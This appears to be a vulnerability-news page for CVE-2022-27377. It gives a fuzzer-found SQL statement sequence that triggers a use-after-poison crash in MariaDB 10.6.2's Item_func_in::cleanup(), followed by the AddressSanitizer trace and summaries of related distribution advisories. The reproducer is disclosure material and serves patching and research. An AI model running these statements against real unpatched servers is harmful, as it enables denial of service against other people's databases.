Headline
CVE-2022-27377: [MDEV-26281] ASAN use-after-poison when complex conversion is involved in blob
MariaDB Server v10.6.3 and below was discovered to contain an use-after-free in the component Item_func_in::cleanup(), which is exploited via specially crafted SQL statements.
CREATE TEMPORARY TABLE v0 ( v2 TINYBLOB AS ( CURRENT_USER IS NULL IS UNKNOWN ) VIRTUAL , v1 TINYINT ZEROFILL , MEDIUM NCHAR BINARY GENERATED ALWAYS AS ( CONVERT ( v1 IN ( FALSE , CURRENT_USER ( ) IS NULL IS NULL , 34 ) , BINARY ( 97015438.000000 ) ) IS NOT UNKNOWN ) ) ;
ALTER TABLE v0 ADD COLUMN v0 MEDIUMINT ZEROFILL KEY UNIQUE COMMENT ‘x’ ;
INSERT IGNORE INTO v0 VALUES ( CONVERT ( ‘x’ LIKE v1 IS UNKNOWN , TIME ) , ‘x’ , v2 IN ( v2 SOUNDS LIKE v1 IS FALSE ) IS UNKNOWN , CONVERT ( ‘x’ REGEXP ‘x’ IS NOT FALSE USING BINARY ) IN ( TRUE LIKE v1 IS NOT UNKNOWN ) ) ;
drop table v0;
===================================================================3652686==ERROR: AddressSanitizer: use-after-poison on address 0x62b00007a760 at pc 0x55b5f9bdde1e bp 0x7f20a06bc570 sp 0x7f20a06bc560
READ of size 8 at 0x62b00007a760 thread T18
#0 0x55b5f9bdde1d in Item\_func\_in::cleanup() /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.h:2566
#1 0x55b5f8b42d30 in Item::delete\_self() /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.h:2514
#2 0x55b5f8b42d30 in Query\_arena::free\_items() /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.cc:3823
#3 0x55b5f908c814 in closefrm(TABLE\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/table.cc:4414
#4 0x55b5f93e8b98 in THD::close\_temporary\_table(TABLE\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/temporary\_tables.cc:1238
#5 0x55b5f93ee75d in THD::drop\_temporary\_table(TABLE\*, bool\*, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/temporary\_tables.cc:660
#6 0x55b5f8f6f876 in mysql\_rm\_table\_no\_locks(THD\*, TABLE\_LIST\*, st\_mysql\_const\_lex\_string const\*, st\_ddl\_log\_state\*, bool, bool, bool, bool, bool, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_table.cc:1298
#7 0x55b5f8f78e7b in mysql\_rm\_table(THD\*, TABLE\_LIST\*, bool, bool, bool, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_table.cc:1044
#8 0x55b5f8ccb268 in mysql\_execute\_command(THD\*, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:4952
#9 0x55b5f8c888dc in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:8028
#10 0x55b5f8cbe2a3 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1898
#11 0x55b5f8cc3703 in do\_command(THD\*, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1406
#12 0x55b5f918314c in do\_handle\_one\_connection(CONNECT\*, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1410
#13 0x55b5f9184806 in handle\_one\_connection /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1312
#14 0x55b5f9fcfeef in pfs\_spawn\_thread /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2201
#15 0x7f20bfcea608 in start\_thread /build/glibc-ZN95T4/glibc-2.31/nptl/pthread\_create.c:477
#16 0x7f20bf8be292 in \_\_clone (/lib/x86\_64-linux-gnu/libc.so.6+0x122292)
0x62b00007a760 is located 13664 bytes inside of 24624-byte region [0x62b000077200,0x62b00007d230)
allocated by thread T18 here:
#0 0x7f20c0275bc8 in malloc (/lib/x86\_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x55b5fab5cafc in my\_malloc /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/mysys/my\_malloc.c:90
#2 0x55b5fab437a8 in reset\_root\_defaults /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/mysys/my\_alloc.c:148
#3 0x55b5f8b36383 in THD::init\_for\_queries() /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.cc:1405
#4 0x55b5f9180d3a in prepare\_new\_connection\_state(THD\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1240
#5 0x55b5f9181a4a in thd\_prepare\_connection(THD\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1333
#6 0x55b5f9181a4a in thd\_prepare\_connection(THD\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1322
#7 0x55b5f91830b2 in do\_handle\_one\_connection(CONNECT\*, bool) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1400
#8 0x55b5f9184806 in handle\_one\_connection /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1312
#9 0x55b5f9fcfeef in pfs\_spawn\_thread /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2201
#10 0x7f20bfcea608 in start\_thread /build/glibc-ZN95T4/glibc-2.31/nptl/pthread\_create.c:477
Thread T18 created by T0 here:
#0 0x7f20c01a2805 in pthread\_create (/lib/x86\_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55b5f9fd01a2 in my\_thread\_create /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/my\_thread.h:48
#2 0x55b5f9fd01a2 in pfs\_spawn\_thread\_v1 /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2252
#3 0x55b5f8958098 in inline\_mysql\_thread\_create /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/include/mysql/psi/mysql\_thread.h:1139
#4 0x55b5f8958098 in create\_thread\_to\_handle\_connection(CONNECT\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/mysqld.cc:5919
#5 0x55b5f89676b2 in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/mysqld.cc:6040
#6 0x55b5f896847e in handle\_connections\_sockets() /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/mysqld.cc:6164
#7 0x55b5f896a60b in mysqld\_main(int, char\*\*) /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/mysqld.cc:5814
#8 0x7f20bf7c30b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: use-after-poison /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item_cmpfunc.h:2566 in Item_func_in::cleanup()
Shadow bytes around the buggy address:
0x0c5680007490: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800074a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800074b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800074c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800074d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
=>0x0c56800074e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7[f7]f7 f7 f7
0x0c56800074f0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007500: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007510: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007520: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007530: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3652686==ABORTING
Related news
Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.
Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.
Red Hat Security Advisory 2022-6443-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for the mariadb:10.3 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
Red Hat Security Advisory 2022-6306-01 - MariaDB is a multi-user, multi-threaded SQL database server. For all practical purposes, MariaDB is binary-compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for rh-mariadb103-galera and rh-mariadb103-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
An update for galera, mariadb, and mysql-selinux is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via cert...
An update for the mariadb:10.5 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
MariaDB CONNECT Storage Engine Heap-based Buffer Overflow Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MariaDB. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of SQL queries. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-16190.